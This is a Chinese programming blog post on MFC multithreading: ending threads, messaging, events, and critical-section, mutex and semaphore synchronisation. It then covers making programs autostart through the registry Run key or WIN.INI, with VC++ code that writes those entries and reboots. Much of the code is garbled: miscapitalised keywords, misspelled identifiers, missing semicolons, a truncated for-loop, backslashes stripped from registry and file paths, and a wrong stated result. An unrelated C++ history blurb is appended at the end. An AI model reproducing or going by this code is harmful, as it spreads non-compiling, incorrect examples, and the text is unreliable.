  终止线程有三种途径,线程可以在自身内部调用AfxEndThread()来终止自身的运行;可以在线程的外部调用BOOL TerminateThread( HANDLE hThread, DWORD dwExitCode )来强行终止一个线程的运行,然后调用CloseHandle()函数释放线程所占用的堆栈;第三种方法是改变全局变量,使线程的执行函数返回,则该线程终止。下面以第三种方法为例,给出部分代码:

//CtestView message handlers

/Set to True to end thread

 

Bool bend=FALSE;//定义的全局变量,用于控制线程的运行

//The Thread Function

UINT ThreadFunction(LPVOID pParam)    //线程函数

{

    while(!bend) {

        Beep(100,100);

        Sleep(1000);

    }

    return 0;

}

 

CwinThread *pThread;

HWND hWnd;

/

Void CtestView::OninitialUpdate()

{

    hWnd=GetSafeHwnd();

    pThread=AfxBeginThread(ThradFunction,hWnd);//启动线程

    pThread->m_bAutoDelete=FALSE;//线程为手动删除

    Cview::OnInitialUpdate();

}

 

Void CtestView::OnDestroy()

{

    bend=TRUE;//改变变量,线程结束

    WaitForSingleObject(pThread->m_hThread,INFINITE);//等待线程结束

    delete pThread;//删除线程

    Cview::OnDestroy();

}

 

 

  三、 线程之间的通信

  通常情况下,一个次级线程要为主线程完成某种特定类型的任务,这就隐含着表示在主线程和次级线程之间需要建立一个通信的通道。一般情况下,有下面的几种方法实现这种通信任务:使用全局变量(上一节的例子其实使用的就是这种方法)、使用事件对象、使用消息。这里我们主要介绍后两种方法。

  1 利用用户定义的消息通信

  在Windows程序设计中,应用程序的每一个线程都拥有自己的消息队列,甚至工作线程也不例外,这样一来,就使得线程之间利用消息来传递信息就变的非常简单。首先用户要定义一个用户消息,如下所示:#define WM_USERMSG WMUSER+100;在需要的时候,在一个线程中调用 ::PostMessage((HWND)param,WM_USERMSG,0,0) CwinThread::PostThradMessage() 来向另外一个线程发送这个消息,上述函数的四个参数分别是消息将要发送到的目的窗口的句柄、要发送的消息标志符、消息的参数WPARAMLPARAM。下面的代码是对上节代码的修改,修改后的结果是在线程结束时显示一个对话框,提示线程结束:

UINT ThreadFunction(LPVOID pParam)

{

    while(!bend)

    {

        Beep(100,100);

        Sleep(1000);

    }

    ::PostMessage(hWnd,WM_USERMSG,0,0)

    return 0;

}

 

WM_USERMSG消息的响应函数为OnThreadended(WPARAM wParam,LPARAM lParam)

LONG CTestView::OnThreadended(WPARAM wParam,LPARAM lParam)

{

    AfxMessageBox("Thread ended.");

    Retrun 0;

}

 

上面的例子是工作者线程向用户界面线程发送消息,对于工作者线程,如果它的设计模式也是消息驱动的,那么调用者可以向它发送初始化、退出、执行某种特定的处理等消息,让它在后台完成。在控制函数中可以直接使用::GetMessage()这个SDK函数进行消息分检和处理,自己实现一个消息循环。GetMessage()函数在判断该线程的消息队列为空时,线程将系统分配给它的时间片让给其它线程,不无效的占用CPU的时间,如果消息队列不为空,就获取这个消息,判断这个消息的内容并进行相应的处理。

 

  2.用事件对象实现通信

  在线程之间传递信号进行通信比较复杂的方法是使用事件对象,用MFCCevent类的对象来表示。事件对象处于两种状态之一:有信号和无信号,线程可以监视处于有信号状态的事件,以便在适当的时候执行对事件的操作。上述例子代码修改如下:

Cevent threadStart,threadEnd;

 

UINT ThreadFunction(LPVOID pParam)

{

    ::WaitForSingleObject(threadStart.m_hObject,INFINITE);

    AfxMessageBox("Thread start.");

    while(!bend)

    {

        Beep(100,100);

        Sleep(1000);

        Int result=::WaitforSingleObject(threadEnd.m_hObject,0);

        //等待threadEnd事件有信号,无信号时线程在这里悬停

        If(result==Wait_OBJECT_0)

            Bend=TRUE;

    }

    ::PostMessage(hWnd,WM_USERMSG,0,0)

    return 0;

}

 

/

Void CtestView::OninitialUpdate()

{

    hWnd=GetSafeHwnd();

    threadStart.SetEvent();//threadStart事件有信号

    pThread=AfxBeginThread(ThreadFunction,hWnd);//启动线程

    pThread->m_bAutoDelete=FALSE;

    Cview::OnInitialUpdate();

}

 

Void CtestView::OnDestroy()

{

    threadEnd.SetEvent();

    WaitForSingleObject(pThread->m_hThread,INFINITE);

    delete pThread;

    Cview::OnDestroy();

}

运行这个程序,当关闭程序时,才显示提示框,显示"Thread ended"

 

  四、 线程之间的同步

  前面我们讲过,各个线程可以访问进程中的公共变量,所以使用多线程的过程中需要注意的问题是如何防止两个或两个以上的线程同时访问同一个数据,以免破坏数据的完整性。保证各个线程可以在一起适当的协调工作称为线程之间的同步。前面一节介绍的事件对象实际上就是一种同步形式。Visual C++中使用同步类来解决操作系统的并行性而引起的数据不安全的问题,MFC支持的七个多线程的同步类可以分成两大类:同步对象(CsyncObjectCsemaphoreCmutexCcriticalSectionCevent)和同步访问对象(CmultiLockCsingleLock)。本节主要介绍临界区(critical section)、互斥(mutexe)、信号量(semaphore),这些同步对象使各个线程协调工作,程序运行起来更安全。

  1 临界区

  临界区是保证在某一个时间只有一个线程可以访问数据的方法。使用它的过程中,需要给各个线程提供一个共享的临界区对象,无论哪个线程占有临界区对象,都可以访问受到保护的数据,这时候其它的线程需要等待,直到该线程释放临界区对象为止,临界区被释放后,另外的线程可以强占这个临界区,以便访问共享的数据。临界区对应着一个CcriticalSection对象,当线程需要访问保护数据时,调用临界区对象的Lock()成员函数;当对保护数据的操作完成之后,调用临界区对象的Unlock()成员函数释放对临界区对象的拥有权,以使另一个线程可以夺取临界区对象并访问受保护的数据。同时启动两个线程,它们对应的函数分别为WriteThread()ReadThread(),用以对公共数组组array[]操作,下面的代码说明了如何使用临界区对象:

#include "afxmt.h"

int array[10],destarray[10];

CCriticalSection Section;

 

UINT WriteThread(LPVOID param)

{

    Section.Lock();

    for(int x=0;x<10;x++)

        array[x]=x;

    Section.Unlock();

}

UINT ReadThread(LPVOID param)

{

    Section.Lock();

    For(int x=0;x<10;x++)

        Destarray[x]=array[x];

    Section.Unlock();

}

上述代码运行的结果应该是Destarray数组中的元素分别为1-9,而不是杂乱无章的数,如果不使用同步,则不是这个结果,有兴趣的读者可以实验一下。

  2 互斥

  互斥与临界区很相似,但是使用时相对复杂一些,它不仅可以在同一应用程序的线程间实现同步,还可以在不同的进程间实现同步,从而实现资源的安全共享。互斥与Cmutex类的对象相对应,使用互斥对象时,必须创建一个CSingleLockCMultiLock对象,用于实际的访问控制,因为这里的例子只处理单个互斥,所以我们可以使用CSingleLock对象,该对象的Lock()函数用于占有互斥,Unlock()用于释放互斥。实现代码如下:

#include "afxmt.h"

int array[10],destarray[10];

CMutex Section;

 

/

UINT WriteThread(LPVOID param)

{

    CsingleLock singlelock;

    singlelock (&Section);

    singlelock.Lock();

    for(int x=0;x<10;x++)

    array[x]=x;

    singlelock.Unlock();

}

 

UINT ReadThread(LPVOID param)

{

    CsingleLock singlelock;

    singlelock (&Section);

    singlelock.Lock();

 

    For(int x=0;x<10;x++)

        Destarray[x]=array[x];

    singlelock.Unlock();

}

 

  3 信号量

  信号量的用法和互斥的用法很相似,不同的是它可以同一时刻允许多个线程访问同一个资源,创建一个信号量需要用Csemaphore类声明一个对象,一旦创建了一个信号量对象,就可以用它来对资源的访问技术。要实现计数处理,先创建一个CsingleLockCmltiLock对象,然后用该对象的Lock()函数减少这个信号量的计数值,Unlock()反之。下面的代码分别启动三个线程,执行时同时显示二个消息框,然后10秒后第三个消息框才得以显示。

/

Csemaphore *semaphore;

Semaphore=new Csemaphore(2,2);

HWND hWnd=GetSafeHwnd();

AfxBeginThread(threadProc1,hWnd);

AfxBeginThread(threadProc2,hWnd);

AfxBeginThread(threadProc3,hWnd);

 

//

UINT ThreadProc1(LPVOID param)

{

    CsingleLock singelLock(semaphore);

    singleLock.Lock();

    Sleep(10000);

    ::MessageBox((HWND)param,"Thread1 had access","Thread1",MB_OK);

    return 0;

}

 

UINT ThreadProc2(LPVOID param)

{

    CSingleLock singelLock(semaphore);

    singleLock.Lock();

    Sleep(10000);

    ::MessageBox((HWND)param,"Thread2 had access","Thread2",MB_OK);

    return 0;

}

 

UINT ThreadProc3(LPVOID param)

{

    CsingleLock singelLock(semaphore);

    singleLock.Lock();

    Sleep(10000);

    ::MessageBox((HWND)param,"Thread3 had access","Thread3",MB_OK);

    return 0;

} 

 

8.程序的自动运行:

内容提要

  在工作中经常遇到一些程序,当计算机启动时会自动将该程序加载,以实现对计算机的监控等特殊的目的。本文就针对这个问题,阐述了系统加载特定程序的原理和方法,同时利用VC++ 6.0编程实现这种特定的功能的,并对其中的关键代码进行了分析。

 

文章正文

  工作中经常遇到一些程序,它们在系统启动的过程中,自动打开并运行,以便实现对系统的监控或者病毒的检测等特定的目的,典型的例子就是常用的一些杀毒软件如:KV300及瑞星杀毒软件等。笔者在此,以自己的编程实践为基础,说明这些这些程序自动启动的原理和方法,同时对一些典型程序代码进行分析,以便读者在今后的编程过程中使用。

 

一、 程序自动启动的原理及方法:

1. 利用WIN.INI文件实现相关程序的自动启动

WIN.INI是系统保存在C:WINDOWS目录下的一个系统初始化文件。系统在起动时会检索该文件中的相关项,以便对系统环境的初始设置。 在该文件中的"[windows]"数据段中,有两个数据项"load=""run=",它们的作用就是在系统起动之后自动得装入和运行相关的程序。如果我们需要在系统起动之后装入并运行一个程序,只将需要运行文件的全文件名添加在该数据项的后面系统起动后就会自动运行该程序,系统也会进入特定的操作环境中去。

 

2. 利用注册表实现相关程序的自动启动

系统注册表保存着系统的软件、硬件及其他与系统配置有关的重要信息,一个计算机系统的系统注册表一旦遭到破坏,整个系统将无法运行。在计算机的系统注册表中的子目录中有一个目录的名称为HKEY_LOCAL_MACHINESoftware MicrosoftWindowsCurrent_VersionRun,如果你想让程序在系统起动的过程中启动该程序,就可以向该目录添加一个子项,具体的过程是在注册表中右击该项,选中其中的"新建"项目,然后选中其中的"串值",建立新的串值后将它的名称改成相应的名称,双击新建的串值,输入新的数值,自动启动程序的过程就设置完成。

 

二、 利用VC++编程实现程序自动启动的编程实例。

  微软公司提供的VC++ 6.0程序开发工具功能非常强大。在VC++ 6.0中同时具有对注册表和*.INI文件操作的函数。笔者经过一段时间的摸索,成功的利用VC++ 6.0开发成功了一个小软件,该软件利用系统自动启动程序的原理,将原来需要的繁琐的手动工作转变成成计算机的自动设置工作,使系统自动启动相关程序的设置工作变的非常简单可靠。

1.程序功能概述:

程序的主界面是对话框,在主界面对话框中有编辑框(EDIT BOX),圆形按钮(RADIO BUTTON)和普通按钮(COMMON BUTTON)组成。操作者通过向编辑框中添加需要自动加载的程序的全文件名(也可以通过浏览按钮来完成),然后通过对两个RADIO BUTTON的选择,进而完成对加载方式的选择(是选用注册表方式还是选者修改WIN.INI文件的方式),最后操作者通过点击"应用"按钮实现程序的自动加载功能,同时系统会提示操作者是否将操作计算机重新启动,以便观察程序的具体功能完成情况。程序在WIN98中调试运行正常。

 

2.编码说明:

浏览按钮的功能代码:

void CAutoloadDlg::OnLiulan()

{

    // TODO: Add your control notification handler code here

    CFileDialogfileDlg(TRUE,

        _T("EXE"),

        _T("*.exe"),

        OFN_HIDEREADONLY|OFN_OVERWRITEPROMPT,

         (_T("Executable Files (*.exe) |*.exe ||")));    //显示打开文件的对话框

 

    //当操作者选择OK时,程序,取得选择文件的全路径名(包括文件的路径及文件名称),

    //并将相应的数值传输给相关的控件变量

    if(fileDlg.DoModal()==IDOK) {

        m_filename=fileDlg.GetPathName();    //m_filenameEDIT BOX控件相应的变量。

        UpdateData(FALSE);    //向将变量中的数值传输给控件显示出来。

}

 

应用按钮的功能代码:

void CAutoloadDlg::OnOK()

{

    // TODO: Add extra validation here

    LPCTSTR title;

    UpdateData(TRUE);

    //如果操作者没有填写要设置项的标题,程序显示对话框,提示操作者进行相关的填写。

    if(m_title.IsEmpty())

    {

        MessageBox(_T("Please input the title name"));

        return;

    }

    title=m_title;

 

    //如果操作者没有选择要设置的程序的全路径文//件名,程序显示对话框,提示操作者进行相关的选择。

    if(m_filename.IsEmpty())

    {

        MessageBox(_T("Please input the programe file name"));

        return;

    }

 

    //如果操作者选择注册表方式,程序修改系统的注册表。

    if(IsDlgButtonChecked(IDC_RADIO1))

    {

        HKEY hKey;

        //设置注册表中相关的路径

        LPCTSTR data_Set="SoftwareMicrosoftWindowsCurrentVersionRun";

        //打开注册表中的相应项

        Longret0=(::RegOpenKeyEx(HKEY_LOCAL_MACHINE,

            data_Set,

            0,

            KEY_WRITE,&hKey));

 

        if(ret0!=ERROR_SUCCESS)

        {

            MessageBox("错误0");

        }

 

        //将控件中的内容进行转换,以达到注册表修改函数的参数调用需求。

        int length=m_filename.GetLength()+1;

        for(int i=0;i<length;i++){

            if(m_filename[i]==92)

                length=length+1;

        }

 

        DWORD cbData=length;

        LPBYTE lpb=new BYTE[length];

        int j=0;

        for(i=0;i){

            if(m_filename[i]==92)

            {

                lpb[j]=92;

                j++;

                lpb[j]=92;

                j++;

            }

            else {

                lpb[j]=m_filename[i];

                j++;

            }

        } //有问题,如何修改。

        lpb[j]=0;

 

        //将相关的信息写入注册表。

        long ret1=(::RegSetValueEx(hKey,title,NULL,REG_SZ,lpb,cbData));

        if(ret1!=ERROR_SUCCESS)    //判断系统的相关注册是否成功?

        {

            MessageBox("错误1");

        }

        delete lpb;

        ::RegCloseKey(hKey);//关闭注册表中的相应的项

    }

    if(IsDlgButtonChecked(IDC_RADIO2))    //如果操作者选择用修改WIN.INI文件的方式

    {

        LPCTSTR filename;

        filename=m_filename;

        WritePrivateProfileString(_T("windows"),_T("load"),filename,_T("c:windowswin.ini"));

        WritePrivateProfileString(_T("windows"),_T("run"),filename,_T("c:windowswin.ini"));

    }

    yzdlg.DoModal();    //显示对话框,提示操作者是否需要重新启动计算机,以便验证程序的功能。

    CDialog::OnOK();

}

 

重新启动按钮的功能代码:

void yanzheng::OnOK()

{

    OSVERSIONINFO OsVerInfo;    //保存系统版本信息的数据结构

    OsVerInfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);

    GetVersionEx(&OsVerInfo);    //取得系统的版本信息

    if(OsVerInfo.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS)

    {

        ExitWindowsEx(EWX_REBOOT,0);    //重新启动计算机

    }

    CDialog::OnOK();

}

 

 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在C基础上[2],一九八三年又由贝尔实验室的Bjarne Strou-strup推出了C++。 C++进一步扩充和完善了C语言,成为一种面向 对象的程序设计语言。C++目前流行的编译器最新版本是Borland C++ 4.5,Symantec C++ 6.1,和Microsoft Visual C++ 2012。C++提出了一些更为深入的概念,它所支持的这些面向对象的概念容易将问题空间直接地映射到程序空间,为程序员提供了一种与传统结构程序设计不同的思维方式和编程方法。因而也增加了整个语言的复杂性,掌握起来有一定难度。 C++由美国AT&T贝尔实验室的本贾尼·斯特劳斯特卢普博士在20世纪80年代初期发明并实现(最初这种语言被称作“C with Classes”带类的C)。开始,C++是作为C语言的增强版出现的,从给C语言增加类开始,不断的增加新特性。虚函数(virtual function)、运算符重载(Operator Overloading)、多重继承(Multiple Inheritance)、模板(Template)、异常(Exception)、RTTI、命名空间(Name Space)逐渐被加入标准。 C++ 1998年国际标准组织(international standard organization, ISO)颁布了C++程序设计语言的国际标准ISO/IEC 1988-1998。C++是具有国际标准的编程语言,通常称作ANSI/ISOC++。 1998年是C++标准委员会成立的第一年,以后每5年视实际需要更新一次标准。C++0x最终国际投票已于2011年8月10日结束,并且所有国家都投出了赞成票,C++0x已经毫无疑义地成为正式国际标准。先前被临时命名为C++0x的新标准将被称为C++ 2011。C++ 2011取代现行的C++标准ISO/IEC 14882,它公开于1998年并于2003年更新,通称C++98以及C++03。国际标准化组织于2011年9月1日出版发布ISO/IEC 14882:2011,名称是:Information technology -- Programming languages -- C++ Edition: 3。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值